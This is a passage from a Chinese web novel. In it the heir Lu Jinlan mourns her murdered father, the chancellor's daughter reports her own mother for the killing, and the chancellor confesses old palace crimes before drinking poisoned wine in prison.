陆锦澜在外面换了衣服,才回到忠勇园。一无所知的家人,依然就向往常一样围上来,嘘寒问暖。 陆锦澜带着笑意和母父寒暄一会儿,又挨个抱了抱孩子们。 夜晚,她告诉凛丞:“我想自己静一静,你告诉他们,别来烦我。” 凛丞有些担忧,心里有些疑问,但还是点了点头。 陆锦澜坐在书案前,对着案上的孤灯,窗外月凉如水,而她的心里却颇不宁静。 门吱嘎一声开了,陆锦澜刚要皱眉,才发现不是哪个夫郎,是她爹严氏。 严氏带着庆儿,两人手里都端着东西来的。 陆锦澜一愣,“爹,这么晚,你怎么过来了?” 严氏笑道:“我听说你转了性,特地过来看看你,怎么了这是?咱们家陆大少娘,竟然清心寡欲了,是不是外面出了什么事啊?” 陆锦澜摇了摇头,“没,没什么事。爹,你不用担心,女儿已经大了,没什么事能难住我,你就不用操心了。” 严氏叹了口气,“平常劝你保养身体,说多了你总嫌我唠叨。可别的事儿,爹也帮不上你什么。这是我亲手煮的参汤,你快趁热喝了,早点睡吧。” 陆锦澜点了点头,“爹,你也早点睡。” 严氏笑道:“知道了,难得你今日肯听我的话。对了,爹给你做了双鞋。庆儿,快拿过来给大少娘试试。” 陆锦澜无奈:“爹,你都多大年纪了?我早就跟你说针线活儿费眼睛,你让佣人去做就行了。再不济,还有凛丞他们。” 严氏嫌弃道:“凛丞?他那个手艺还是算了。旁人倒是勉强能做,但哪有爹做得合脚?趁着我还能做,多给你做几双。以后老了做不动了,你想穿还穿不到呢。” 陆锦澜被逼着试了鞋,还在屋里走了几圈,“行了吧?大半夜的,你不会要我出去跑去吧?” 严氏噗嗤一笑,“你这孩子,都当娘的人了,一天到晚还是没个正经,总是不着家。也不知道你几时性子能沉稳些,什么时候才能长大。” 陆锦澜握住他的手,抚摸着他指上的细纹,“爹,我已经长大了,我以后多多在家陪你和娘。” 严氏老眼一红,笑道:“我还不知道你?说是陪我和你娘,实际上是陪你那几个夫郎。不过,多和他们在一起也好。多生几个孩子,家里热闹。” 严氏絮叨了几句,带着庆儿出去。 陆锦澜捧着参汤,刚喝了一口,忽然听到外面一声惨叫。 “爹!”陆锦澜刚要起身,杀手已然从门窗处涌了进来。 来人的剑上带着血,陆锦澜眼神一冷,丝毫不敢犹豫,用最快很凌厉的招数解决掉敌人,迅速冲了出去,却还是来不及。 地上躺着的,已然是两具尸体。 第113章 “爹!庆儿!”陆锦澜凄厉地呼喊,却生平第一次,得不到他们的任何回应。 夫郎们闻声赶来,只见陆锦澜抱着严氏的尸体嚎啕大哭。 陆锦澜泪眼模糊中,看见陆今朝跌跌撞撞步履蹒跚地赶来。 陆今朝一时间还接受不了这么大的变故,她满眼狐疑的轻轻推了推严氏,仿佛只是像寻常那般,将熟睡的夫郎唤醒。 “清和,清和……你看看我,清和!” 看着严氏毫无反应,陆今朝瞬间老泪纵横,一时急火攻心,晕过去了。 “娘!”众人连忙扶住陆今朝。 老管家邹姨带着一众仆从跪倒在地,含泪道:“少主,事已至此,您拿个主意吧。老娘病倒,老夫郎也不在了,请您振作起来,主持大局啊!” 陆锦澜深吸一口气,沉声道:“先将母亲抬回房中,请平掌柜带着医师过来,帮忙支应。天亮命人带着杀手的尸体,去京兆府击鼓鸣冤。” 陆锦澜咬了咬牙,“大办丧事,靖安侯府有丧,我要全京城都知道,我父死得冤枉,我做出什么事都是理所应当。” * 晏维津正在书房和属下议事,忽听砰地一声。 众人转身望去,只见晏无辛面寒如冰,甩开左右拦阻她的仆从,踢开房门,强行闯了进来。 晏维津眉头一皱,对那几人道:“你们先下去。” 门被人从外面关上,屋内只有母女二人,气氛却格外凝重。 晏维津不悦,“你干什么?有没有一点儿为人女的自觉?一点礼数都没有。” 晏无辛冷笑一声,“娘,陆家在办丧事,您还要跟我谈礼数?” 晏维津瞪了她一眼,“你什么意思?你怀疑是我做的?” 晏无辛摇了摇头,“我不怀疑,我确信,就是你做的。” 晏维津一愣,随即沉稳地迈着步子,丢下手中的奏折,端坐到椅上。 相尊大人一副胜利者之姿,慢条斯理地理了理衣袖,从容道:“是我做的,那又如何?” 晏无辛撑在书案上,细细地端详着她,冷声质问:“为什么?娘,我已经告诉你,锦澜她不追究了。你又何必做贼心虚,急于杀人灭口呢?” “住嘴!”晏维津怒道:“你懂什么?陆锦澜是什么人?她行事诡谲莫测,睚眦必报,岂可相信她的迷惑之言?那些不过是她糊弄你的说辞,杀父之仇灭门之恨,她怎会不追究?” “糊弄?呵呵。”晏无辛摇了摇头,“你根本就不了解她!你以为她是昨天才知道真相的吗?你以为她是昨天才想到事情是你做的?你以为她是因为杀不了你,才迟迟没有动手吗?” “我认识的陆锦澜不是睚眦必报,而是恩怨分明。她是行事诡谲,我确信,如果这事是旁人做的,哪怕她明面上不能报仇,她也会在暗地里杀之毒之,毫不犹豫地取人性命。” “可偏偏她的仇人是你,是她好朋友的亲娘,你让她怎么动手?” “她不杀你,不是因为你位高权重,而是因为你是我娘。她不想和她的挚友便为仇人,她是为了我,才没有追究!” 晏维津扭过头去,“一派胡言,只有你天真的相信什么知己什么挚友,什么朋友之谊。她之所以没跟你翻脸,是因为还不到时候。她之所以没有背叛你,是因为利益还不够大!” 晏无辛疲惫地合上双眼,“看来我怎么说,你都不会相信。哼,也是,你从未有过这样的友谊。你的朋友背叛过你,你就认为我的朋友也会如此。但我告诉你,我的朋友和你的朋友不一样。” 晏维津高声道:“一样!面对天大的诱惑,再坚固的友谊也会土崩瓦解!何况我千辛万苦坐到位置,我岂会将决定权交予她人?她追究也好,不追究也好,她知道这件事,便是隐患,我必除之。” 晏无辛望着晏维津苍老而发红的眼睛,微微点头,“我明白了。” “你明白什么?” “明白你当年是怎么想的了,原来是宁肯我负天下人,不许天下人负我。原来是怕别人对不起自己,所以自己先对不起别人。顾飞卿是你的朋友吧?你当年便也是这样,先下手为强,美其名曰:消除隐患。” 晏维津用力地咬住牙齿,“你又不知当年事,岂知是我负她,而不是她负我?” 晏无辛轻笑出声,“母亲未免太小看我了,我虽不知当年事,还不会用脑子推想吗?我不认识顾飞卿,却了解你。以我对相尊大人您的了解,若是她负你,你怎么会给她立碑修墓?” “按照娘你的报复心,不挖坟掘墓,焉能对得起相尊大人心狠手辣的行事作风?” 晏维津胸口起伏,“你 ……你大逆不道!” 晏无辛道:“我已经能够想象,您当年是如何做的。您害死了她,害死了她的弟弟,却还是理直气壮地认为是她对不起你在先。” “或许你还觉得自己胸宽似海,你觉得她可能威胁到你,你却还‘好心’为她办了后事。你说不定还对自己说,我晏维津已经仁至义尽。” “你在她的墓前,震碎了她送给你的佩剑,你认为你们从此以后一刀两断,互不相欠。” “但其实你心里知道,你欠她的。你可以骗所有人,可你骗不了你自己。” “上次你当着我们的面,说了那么多旧事,你诉说你幼时的艰难,你痛斥学生时代身边人对你背叛,可你一个字也不敢提顾飞卿。” “因为在她这件事上,她才是受害者,你才是那个背叛的人。你怕人知道,你心虚。” “胡说!”晏维津愤而拍案,“我和她之间的事,根本论不到别人来评判。” 晏无辛用一种悲悯的眼光看着她,“娘,你承认吧。你若真是问心无愧,何须把自己的石像毁掉呢?你怕别人知道,你和顾飞卿曾经是那么好的朋友,而你,却背信弃义,卑鄙无耻地杀了她。” 啪! 带着疾风的一巴掌,响亮极了。 晏无辛轻轻拭去嘴角的血迹,红肿的脸上竟然浮现出一丝释然的笑意。 “相尊大人,你知道你为什么没有真正的朋友吗?” “因为你谁也不信任,在你的眼里,什么都比朋友重要。你总把很多东西凌驾在友谊之上,你那么看轻友谊,那么看清你的朋友,她们理所当然的弃你而去,那不是她们的过错。” “错在你,因为你根本不懂什么叫珍惜。” 晏无辛沉下脸,拂袖而去。 晏维津扶着桌案起身,“回来!你给我回来!” 那个一向敬重她的女儿头也不回,就像那些年离她而去的故人,或者说被她抛弃的故人。终究是渐行渐远,甚至都未曾好好告别,便没了踪迹。 晏维津颓然地跌坐在椅子上,四周空无一人。 * 陆锦澜跪在灵堂里,手上一张接一张不停地烧纸。 凛丞擦了擦眼泪,低声道:“你一夜都没合眼,一会儿还要支应宾客。趁着这会儿人少,快去后堂歇一会儿吧。” 陆锦澜摇了摇头,“我不累,我撑得住。你去歇着吧,你也一夜没合眼。” 凛丞不肯,“我陪你。其实,还有件事想和你商量。庆儿对你的心思你是知道的,他没有家人,若让他以仆人的身份下葬,以后恐怕无人祭拜……” 陆锦澜点了点头,“我明白你的意思,他活着的时候,我没能给他个名分,现在他受我牵连被人害死,是我对不住他。让他以我小郎的身份下葬吧,希望他泉下有知,能略感安慰。” 凛丞忙道:“他泉下有知,一定会高兴的,我这就着人去办。” 凛丞刚走,洗墨脚步匆匆的进来。 她瞥了眼在棺木旁枯坐的陆今朝,在陆锦澜耳边低声提醒道:“晏大人来了,在府门前跪着。” 陆锦澜点了点头,将手中的纸钱交给七郎,“你来烧。” 她起身对陆今朝道:“娘,你回屋休息吧,这儿有我。” 陆今朝疲惫地摇了摇头,“我在这儿陪你爹。” 陆锦澜只得道:“那我去外面吩咐一些琐事,一会儿就回来。” 严氏一走,陆今朝好像苍老了几分。二人到底是结发妻夫,感情深厚。 都说少年妻夫老来伴,夫郎骤然离世,陆今朝对陆锦澜便更加依赖。 她用布满皱纹的手掌握住陆锦澜的手,叮嘱道:“你快去快回。” 陆锦澜点头,“好。” * 晏无辛低着头,心情沉痛地跪在忠勇园门口,直到一双有力的手掌将她拉了起来。 “无辛,起来。” 晏无辛望着陆锦澜红肿的眼睛,心头像被针扎一样,“锦澜,我……” 陆锦澜摇了摇头,“什么也不必说,这件事和你没有关系。从今以后,她是她,你是你。你不必替她背负她的过错,我也不会顾念你和她的关系。” 晏无辛点了点头,“我明白,你想要怎么做?” 陆锦澜垂下眼眸,“杀人偿命,天经地义。” 晏无辛也低下头,“的确如此,这是应当的。” 陆锦澜看向她,“无辛,你别怪我。” 晏无辛凄然一笑,“我哪有怪你的资格?反倒是你,始终为我顾忌着。若不是因为我,姨夫他也不会……” 陆锦澜摇头,“我们都不是圣人,事情发展成今天这样,谁能预料?而今逝者已逝,唯有报仇雪恨,才能安慰我父在天之灵。” 晏无辛吸了吸鼻子,“好,追根究底,是我家对不起你家,我对不起你。你安心操办丧事,我会给你一个满意的交代。” 晏无辛转身便要走,陆锦澜连忙拉住她,“你要干什么?” 晏无辛拍了拍她的手背,“你放心,我不会做傻事,我只是做我该做的事。” 晏无辛快步离开,只留给陆锦澜一个决绝的背影—— 作者有话说:月底了,悄悄求一波营养液……今日双更![求你了][求你了][求你了] 第114章 七日后,陆锦澜正看着僧侣为亡者做法事,项如蓁匆匆赶来。 陆锦澜看了眼她的脸色,“发生何事?” 项如蓁道:“皇上刚刚下旨,将相尊打入天牢了。” 陆锦澜眉心一动,虽然她已经放出风声,说相尊大人忮忌她得圣宠,觊觎相尊之位,派人刺杀她不成,害了她爹的性命。 现在京城人人都知道,她和晏维津势不两立。可她只是造声势而已,还未有实际动作,更无真凭实据,皇上怎会因此将晏维津打入天牢? 她忙问:“她因何获罪?” 项如蓁道:“试图刺杀你,杀了你爹。” 陆锦澜眉头一皱,“我尚未去告御状,是谁……” 她猛然意识到了什么,项如蓁点了点头,“无辛带了物证去面圣,检举揭发。而人证,是她自己。” 陆锦澜一时无言,两人久久地站在那里,思绪翻涌。直到宫里来人宣旨,让陆锦澜进宫。 陆锦澜叹息一声,对项如蓁道:“我进宫,你去看看她吧。她此时的处境,比我还难。” * 陆锦澜穿着丧服,跪在御前,面沉如水,皇上的声音从头顶上淡淡的飘过来。 “听闻你被人刺杀,朕很是担忧。京城里竟然能出这样的事,简直是无法无天。幸好晏无辛大义灭亲,前来告发凶手。朕,已经将晏维津下狱,可朕尚有一事不解。” 陆锦澜微微抬首,“陛下何事不解?” 赵敏成道:“晏无辛说,晏维津之所以要杀你,是因为你长得像一个叫顾飞卿的人。这个顾飞卿,你认识吗?” 陆锦澜点了点头。 她知道,晏维津对她下手的时候,皇上便能猜到晏维津为何下手。 若说,她对当年的事一点都不知,是不合情理的。可若说她全然知晓,便是不知死活了。 于是陆锦澜道:“回皇上,臣虽和顾飞卿素不相识,可我却知道她。” 皇上忙问:“知道她什么?” 陆锦澜道:“她是我娘的挚交,我娘说多年前顾飞卿弥留之际,将一个婴儿送到她手上。” 皇上扶着龙案微微欠身,“她……她有没有说那是谁的孩子?” 陆锦澜摇了摇头,“当时顾飞卿已经奄奄一息,什么都来不及说便死了,我娘也不知道我是谁的孩子。” 陆锦澜望着赵敏成紧张地神情,“皇上,您知道那个婴儿是谁的孩子吗?” “我……”赵敏成撤回身,端坐到龙椅上,“朕,怎会知道?” 陆锦澜点了点头,“是臣想多了,臣以为相尊既然知道我是谁的孩子,皇上您或许也知道呢。” 赵敏成道:“朕不知,晏维津可有对你说过?” 陆锦澜微微摇头,“没说过,但臣觉得,相尊和顾飞卿是仇人,也许当年就是相尊派人害死了顾飞卿。相尊大人不肯放过我,是因为我和顾飞卿十分相像。她应该认定,我和顾飞卿关系匪浅。” “再加上,顾飞卿当年拼死将刚出生的我交托给挚交好友,这般情谊,大概……我就是顾飞卿的女儿。” 她看向赵敏成的眼睛,“皇上,我说得对吗?” “对,对……”皇上移开目光,轻声应和,“你们如此相像,必定是……至亲。” 君臣二人沉默许久,谁也不想说话。过了好一会儿,赵敏成忽道:“有件事,朕要让你亲自去办。” * 项如蓁守在宫门口,终于见到陆锦澜带着内廷司的曾颖一同出来,还有一个小宫男端着托盘亦步亦趋地跟在身后。 项如蓁快步迎上去,陆锦澜摆了摆手,让曾颖带着那个宫男先行上车。 项如蓁低声道:“皇上跟你说了什么?” 陆锦澜:“刚才看见托盘里的酒了吗?那是毒酒,给晏维津的。” 项如蓁一愣,“难道皇上不打算审问了?直接处死?” 陆锦澜微微点头,“想让她自尽,派我和曾大人一同前去,看着她死。” 项如蓁皱了皱眉,“皇上这不是把你架在火上烤吗?她让谁去送毒酒不行,干嘛非得让你去?你等一下,我进宫请旨,我去送毒酒。” 陆锦澜拉住她的手臂,“皇上不会让你去的,我也不想让你去。给无辛留个方便说话的朋友吧,免得她郁结于心时,都不知道还能跟谁诉说。事已至此,可我一个人来吧。” 项如蓁痛心道:“无辛她……她把自己关在府里,谁也不肯见。” 陆锦澜刚想说什么,曾颖在马车上催促她,“陆侯,事不宜迟,咱们赶紧去把圣上交待的事办妥吧。” 陆锦澜只好对项如蓁道:“等我忙完去找你,有很多话要对你说。” * 晏维津在天牢中负手而立,透过那处极小的铁窗,汲取着折射进来的一缕阳光。 “咳!”身后传来一声轻咳,曾颖拱了拱手,“相尊大人,您在想什么呢?” 晏维津没有回头,呛声道:“你来干什么?” 曾颖赔笑道:“皇上让我们来给您送一壶酒,看着您上路。相尊大人,您别记恨我们,这是皇上的意思。” 晏维津冷笑一声,“她怕了,她不敢公开审判我,她怕我把什么都说出来。皇上如今这么在意自己的颜面,跟曾经那副见利忘义的样子,全然不同了。可我凭什么要成全她呢?我不死,我偏不死。” 曾颖无奈,“我说相尊大人,事情已经到了这个地步,您就别置气了。皇上不想让您说,你就别说了。” “您说了我们也不敢听,不敢信,您又何必白费口舌呢?” “皇上料到您不肯就死,临出门时让我转告您,您若是胡说八道,让您想想您的孩子们。您若是不在意孩子们,让您想想晏氏全族。” “眼下只是您一人获罪,您要是……说了不该说的话,恐怕皇上就要株连了。” 晏维津哼了一声,不屑道:“人死如灯灭,一个注定要死的人,还会怕威胁吗?” 陆锦澜叹了口气,“你真的不怕吗?” 晏维津猛地转过身,陆锦澜对曾颖道:“看相尊大人这副强硬的态度,只怕一时半会儿都不肯死。你先出去,让我和她单独聊聊。” 曾颖有些犹豫,这种事,皇上让她和陆锦澜其中一个人来就能办。 可皇上偏偏让她们两个人一起来,分明是有互相监督的意思。 皇帝曾千叮万嘱,让她看着晏维津,不要让晏维津对着陆锦澜乱说。 可此刻陆锦澜竟然要和晏维津单独聊,曾颖实在有些为难。 她瞥了眼一旁的小宫男,悄声道:“陆侯,若只有你我二人,下官一定行个方便。但御前的人在这儿,他会不会……” 陆锦澜回头看了看那名小宫男,亲昵地将手搭在他的肩上,温声道:“闰年,你把酒留下,陪曾大人出去歇会儿。皇上问起,知道怎么说吗?” 许闰年红着脸连连点头,小声道:“就说我们一直都在。” 陆锦澜微笑着点头,“乖,出去吧。” 曾颖真是大开眼界,她知道这位靖安侯风流之名遍天下。坊间传闻,只要陆锦澜在一个地方停留十天以上,必定有当地的美男对她投怀送抱。 曾颖之前还觉得此言实属夸张,而且她和陆锦澜私交不错,暗地里还曾为她打抱不平。 毕竟陆锦澜这样的人才,文能提笔安天下,武能策马定乾坤。总是传她这般那般的风流秘事,岂不于威名有碍? 可今日一见,才知道自己错了。风流之事,未必是谣传。只怕有人想要谣传,都造不出这么夸张的谣言。 御前的人,天天在皇上眼皮底下待着,她是怎么搞上手的?真是奇了! 曾颖带着满腹困惑和许闰年到外面去,只留下陆锦澜和晏维津,两两相望。 陆锦澜撩起衣摆,盘腿坐在地上,伸手对晏维津道:“请坐下说话。” 晏维津皱了皱眉,警惕道:“你对我客气,我也不会喝下毒酒,你还是以仇人的态度对待我吧。” 陆锦澜呵呵一笑,“对待仇人,该是什么态度呢?激动?辱骂?甚至想办法进去打你一顿?有意义吗?” “你我是仇人不假,可结果已经定了。你在里面,我在外面。你就要去死了,而我将长久的活着。我赢了,你输了。” “我没有输!”晏维津咬牙道:“如果不是晏无辛的背叛,我根本不会输!你太高明了,我已经做足了防备,可你说服了我预想不到的人。以至于我现在仍然不敢相信,我的女儿竟然出卖了我!你高兴了?你得意了?” 陆锦澜看着她怨恨的目光,缓缓摇头,她指了指身上的孝服,又指了指牢内的晏维津。 声音苦涩,“两败俱伤的局面,有什么值得高兴的?不过是公平而已。但为了公平二字,我和无辛都失去了很多。” 晏维津气道:“难道只有你们在失去吗?我没有吗?我晏维津从一无所有到百官之首,一路走来苦心经营,付出了多少辛劳。” “无辛无辛,她刚刚出生的时候,正值我坐上丞相之位,我给她取了这个名字。我希望我的女儿一辈子都不用像我一样,尝尽人间苦楚,可她呢?她竟然把我送到大狱里!” “我晏维津一世英明,不论是改朝换代的血战,还是不见血的朝堂争斗,我几时输过?如今竟然栽在自己女儿手里,真是家门不幸。” 面对晏维津的暴怒,陆锦澜表现的很是平静。 她低声劝道:“你别生气,也别怪她。你要恨,还是恨我吧,或者恨皇上也行。总之,不要怪无辛。” “你杀了我爹,你让她怎么办呢?如果她不动手,便得由我来做。到时候,闹得鱼死网破天下皆知,场面只会更难看。” “她来做,至少可以把结果控制在一定范围内。不株连,不累及家人,只问你一人之罪。这对你们家来说,是大幸。若让我来,下手必然没个轻重。就算我不想伤及无辜,也没办法保证一定能做到。” “她顶着忤逆不孝的巨大压力,给了我一个交待,也保全了一些人。” “虽然你此时气头上,但也请你想想她的一片苦心。以你相尊大人的声望,不论是我们两个谁将你送到这里,都逃不掉你那些门生故旧还有晏氏族人的仇视。” “无辛来做这个恶人,是不希望我来承接这份仇恨。” 晏维津哈哈大笑,“我入朝为官二十余载,一手提拔起来的人遍布全国上下一十七州,晏氏一族在我手上发扬光大,我当然不是白混的!可你们以为,她来做个恶人,那些人就不恨你了吗?” 陆锦澜笑着点头,“当然还 是恨我,无辛也明白这个道理,但她还是这么做,你想知道其中缘由吗?” 陆锦澜得意地笑道:“相尊大人,如果我不告诉你,我保证你到死也想不明白。” 第115章 晏维津眉头紧锁,在牢里来回踱步。 陆锦澜倒了杯毒酒递进去,“你要不要边喝边想?这毒酒一刻钟后才会发作,我保证在你闭眼前揭晓答案。” 晏维津瞪了她一眼,“她做恶人和你做恶人,能有什么区别?不过是为了保全晏氏族人罢了。” “不对!”陆锦澜立刻驳斥道:“她要是为了保全晏氏一族,何不保全你呢?那些族人,哪比得上你这个亲娘。” “如果一心只想保全你,她何不杀了我?以我们之间的信任,她把刀架在我脖子上,我也当她在跟我开玩笑。” 晏维津不解,“那是为什么?” 陆锦澜再次做了个请的手势,“你坐下聊,晃得我头晕。” 晏维津带着火气坐下,“说吧。” 陆锦澜微笑道:“我给你讲一个故事吧。我们在边关的时候,有一次误入了毒林,我掉到了沼泽里,命悬一线。” “当时大家都中了毒,行动困难,且毫无力气。无辛中毒轻些,她回去拿绳子叫救援。” “而如蓁则拿了把匕首,一刀一刀地割在自己手臂上,用放血的方式竭力保持清醒。” “她想救我,但后来发现还是做不到。她便说没办法了,只能陪我一起,死在荒芜之地。” 晏维津嗤笑,“愚蠢!” 陆锦澜笑着点头,“是啊,你这样精明的人是不会理解那种心情的。” “我们这样愚蠢的人,就是会不顾一切,拼尽全力呵护自己最珍视的友谊和最亲爱的朋友。” “如你刚才所说,在你这件事上,无辛做恶人和我做恶人,没有区别。” “人人都知道,我和她是最好的朋友。人人都知道,她是为我才做了这件事,可她还是要这么做。” “她不动手,你的人恨我一个。她来动手,你的人,恨我们两个。” 晏维津更加困惑,“那她这么做的好处在哪儿?” 陆锦澜摇了摇头,“没有好处,我和你站在对立面,哪有好处可言?她怎么选都是错,可她最终选了我。” “最基础的原因当然是你一错再错,让局面变得剑拔弩张不可挽回。” “基于是非,她选我。可无论事实如何,她忤逆了你,便要面对天下人的指责。若想要好处,她真不该选我。” “但她还是这么做了。既然没有两全其美的办法,她宁愿选择与我同甘苦共患难。” “哪怕是一起承受世人的责难,承受仇视的目光甚至攻击,她依然要这么做。至少这样,她心里会好受一点。” “我们都是凡人,凡人总会遇到解不开的难题。可是当命运困住我们,而我们又无力反抗的时候,我们还是会坚定的选择和彼此站在一起。” “就算身处绝境,也有人与你并肩而立,还有何怨?何有何惧?” 陆锦澜凝眸看向晏维津,那种目光仿佛能穿过血肉,看到人的内心。 她说:“我能如此平和的对待你,是因为我清楚的知道上天待我不薄。我失去了一些,可我得到的更多。生死之交,我有两个。” “而你如此暴躁,是觉得上天亏待了你?还是你的内心,充满了恐惧和怨恨,怕到了阴曹地府,无颜面见故人?” 晏维津心里咯噔一下,怔了一怔,坚持道:“当年的事是一个死局,我根本没有选择。” 她回忆起往事,激动地情绪又让呼吸变得重了起来。 她向来认为当年自己没有做错,可从未像此刻这般,急切的为自己辩解。 她语速飞快道:“当年我在族中立足未稳,我只能以晏氏血脉做未来皇储的诱惑,让所有人鼎力支持我。” “飞卿是我最好的朋友,我没想害她。可她弟弟偏偏也怀了皇上孩子,而且他还是正夫,我实在没有办法。如果晏氏一族不支持我,我是没办法登上丞相之位的,我……” “你跟顾飞卿商量过吗?”陆锦澜冷声打断她的话。 晏维津猛然愣住,随后抿了抿唇,“这还用商量吗?我要杀她弟弟和她弟弟的孩子,她难道会允许吗?” 陆锦澜连连摇头,“不!不必如此,你可以把你的难处告诉她,事情不是只有一种解决办法。” “为什么顾怀瑜非死不可?他让位,不行吗?他走,不行吗?你登上丞相之位后,他再回来,不行吗?” 陆锦澜红着眼一连串的质问,而后叹了口气,“你总是这样,独断专行,把事情推到死局,然后理直气壮地说自己没有选择。” “其实,是你不给别人选择。你不给顾飞卿选择的机会,也不给我选择的机会。” 晏维津冷声道:“我必须扼杀一切可能存在的隐患,我是不给任何人背叛我的机会!” “哦?”陆锦澜眨了眨眼,环视四周,“那你是怎么进到这儿来的?” 晏维津气得咬牙,“你……” 陆锦澜笑了笑,“你如此精明,却逼得这世上最不想背叛你的人,背叛了你。走到这一步,你竟然还固执的认为你没有错。” 晏维津紧绷着脸,片刻后方道:“至少当年,我没有错。就算我把事情告诉顾飞卿,有什么用?” “那可是涉及到丞相之位、皇夫之位、皇长女之位,她们家的荣华富贵,通通都要让渡给我,她岂能答允?如果是你,你会甘心吗?” 陆锦澜笑道:“我没有如此自私的朋友,没有谁对我说,要把我本该拥有的通通拿走。” “但如果我的朋友遇到难处,我会心甘情愿的付出所有。能共生死的人,还会计较什么荣华富贵吗?” “可让我不解的是,你一再说你想要什么,却从来不考虑你的朋友想要什么。你吝啬到连选择的机会都不给她,甚至连她活着的权利都要剥夺。” 晏维津目光复杂地看向陆锦澜,而后果断道:“顾飞卿不是你们那样的傻子,她才不会那么做。” 陆锦澜低笑一声,嘲讽道:“也对,我们这样的人再傻,也懂得分辨人心好坏,我们是不会和你这样的人成为挚交的。” “你也就和顾飞卿那样的人交交朋友,因为她比我们还蠢。恐怕她到死都想不明白,你怎么会突然对她下手。” 晏维津深吸一口气,“好吧,我承认,当年是我对不起顾家,我今日将这条命赔给你。” 她说着果断端起那杯毒酒,一饮而尽。 陆锦澜面如平湖,毫无波澜,只道:“你欠我的不止一条人命,但如果你能告诉我,我最想知道的真相,我们就算扯平了。” “你想知道什么?” “皇上的态度。” 晏维津点了点头,低声道:“起事前,我和皇上达成交易。她许诺我丞相之 位,许诺我挑选晏氏男入宫为皇夫,让带有晏氏血脉的孩子成为将来的皇储。” “而我则带晏氏全族和我当时手中的势力,全力相助,助她登上皇位。” “达成交易之后,我才知道顾怀瑜已经怀有身孕。于是我对赵敏成说,这个孩子如果是个男孩儿,就算了。但如果是个女孩儿,便不能留。” 陆锦澜忙问:“那她怎么说?” 晏维津轻叹一声,眼神里竟然带了几分怜悯,“她只说了两个字,可以。” 陆锦澜痛苦地闭上了眼睛,晏维津继续道:“后来我除掉了顾怀瑜,但走漏了消息。顾飞卿把你带走,我先后派出十几拨人追杀她。最后一次得到她的消息,是说她身受重伤,而后不知去向。” 陆锦澜点头道:“怪不得凌之静生前说我会家破人亡众叛亲离,因为她经历过当年的事,了解你的为人。” “一旦你察觉到我得知了真相,必然会心狠手辣,除之而后快。哪怕有无辛这层关系,哪怕我表示不追究,也没有用。” 晏维津无奈地叹了口气,“不是我想揪住过去不放,而是我经历了太多的背叛,根本不允许自己给未来埋下隐患。” “凌之静的确了解我,我、赵敏成、凌之静,大概世上最奇怪的关系了。” “我们了解对方,提防对方。我们曾经并肩作战,却也视对方为死敌。她们了解我,我也了解她们。如今凌之静死了,我也即将死在顷刻,赵敏成终于拔除了她所有的眼中钉,成为了最后的赢家。” “都说将死之人,其言也善,我好心给你几句叮嘱吧。” 晏维津平静下来,像个慈祥的老人家,温声道:“我的心狠、多疑、冷血,不及那位皇上的万分之一。我们三人中,最重感情的是凌之静,其次是我。而赵敏成呢?几乎没有任何感情可言。” “她当年那么喜欢顾怀瑜,可在大位面前,心爱的人和自己的女儿,算什么呢?她会毫不迟疑的将后者当做牺牲品。” “你相信我,不要在她的面前晃来晃去了。一旦她也意识到,你已经得知了全部的真相,她便不会把你看成自己的女儿,而是把你看成,有着灭门之仇的敌人。” “面对隐患,她比我更敏感,也会做得更彻底更干净。你不是她的对手,想办法脱身吧。” “不过话又说话来,眼下,恐怕你想脱身都难。” “因为你有皇家血统,有军功有威望,你还有军队。宋家军和赤诚军加起来,比当初的凌家军还可怕。” “有凌之静的前车之鉴,她是不会再把你放到军中去的。” “她大概会用对付凌之静的办法对付你,把你留在京中,把你的军队留在边关。让你永远没办法起兵,威胁到她的皇位。” 陆锦澜点了点头,“你说得对,无辛大概也想到了。所以她已经请旨离京,要去边关统领赤诚军。” “我的身份是皇上的疑虑,她肯定不会让我去。可赤诚军很重要,是我们三个人组建起来的一支强军,是我们的心血。” “无辛发生了这样的事,她想要离京合情合理,去军中也没什么可疑。我猜皇上绝对想不到,无辛是在为将来若有万一做准备。” 晏维津恍然道:“原来如此,我这个女儿的确比我更懂得洞察人心。她的判断,也比我更准确更超前。” “其实,皇上之所以将我打入天牢,根本不是因为我杀你爹,或者无辛的告发。而是因为她想除掉我,无辛不过是利用了皇上的想法。” 晏维津苦笑一声,忽然有几分得意,“赵敏成自负心机深沉谋划全局,她根本意识不到,她竟然会被一个年轻人利用,而且那个年轻人还是我的女儿。” 晏维津咳嗽一声,她拍了拍灼烧的胸口,忙道:“帮我转告无辛,我知道真正让我死的人是谁,我不恨她了。” 陆锦澜应道:“我会帮你转告。” 晏维津又道:“你告诉无辛,她有这样的计谋做什么武将,应该来当丞相,一人之下万人之上。不要整日沉迷花天酒地,不务正业了。” 陆锦澜摇头,“那你就错了。” “错了?我又错了?”晏维津尴尬地笑了笑,“我今天怎么突然发现,我总是错。” 陆锦澜道:“她洞察人心善用计谋是一回事,她喜欢过怎样的生活,又是另一回事。她有权利按照自己喜欢的方式,度过一生。你不必为她操心,更无需为她做主。” 晏维津茫然地点了点头,“也对,你们年轻人总是自己的想法,我又想错了。来,这酒不错,再给我倒一杯。” 陆锦澜又给她倒了一杯毒酒,晏维津喝完,毒似乎快要发作了。 她隐隐能感觉到体内的变化,所以她在搜肠刮肚地想,自己还有什么没交代的。 真荒谬!临了临了,自己竟然向仇人交代遗言,还生怕遗漏什么,甚至还在为这个仇人担忧。 “皇上命你来送毒酒,她是有居心的,我到底是无辛的娘。她这不是逼着你和无辛,互相怨恨吗?” 陆锦澜道:“我明白,我相信无辛也明白皇上的用意。但我们不会互相怨恨的,永远不会。” “好!真好!”晏维津连连点头,一向自视甚高的她忽然局促起来,像个手足无措生怕惹人笑话的小孩子。 她说:“其实现在我也明白了,虽然已经太晚。” “我已经没什么能告诉你的了,你……你千万要小心,万一皇上起了疑心……” 陆锦澜忙道:“我会早做准备。” “那就好,咳!”晏维津又咳了一声,嘴角已经有了血迹。 她又饮了一杯酒,看着那张与故人相似的面孔,旧事一一浮现在眼前,不由得万般感慨。 “你知道吗?我本来也不是现在这样。那天我给你们做饭,我对你们说的话,都是真的。” “我曾经和你们一样,忌恶如仇,意气风发。一腔热血,一心报国。我也不知道自己是什么时候,渐渐变了。” “我仕途坦荡,一路青云一路高升,直到手握大权位极人臣。我总是在夜不安枕的时候,告诉自己,我已经得到了我最想要的一切。” “可是我……我其实偷偷遗憾过。我的确骗不了自己,我知道我这一路走来,也失去了很多。” 晏维津长叹一声,无限唏嘘。 “可是,孩子,你知道吗?在所有失去的人中,我最怀念我自己。” “那时的晏维津那么潇洒义气,那么富有正义感,整个人都好似会发光一般……” 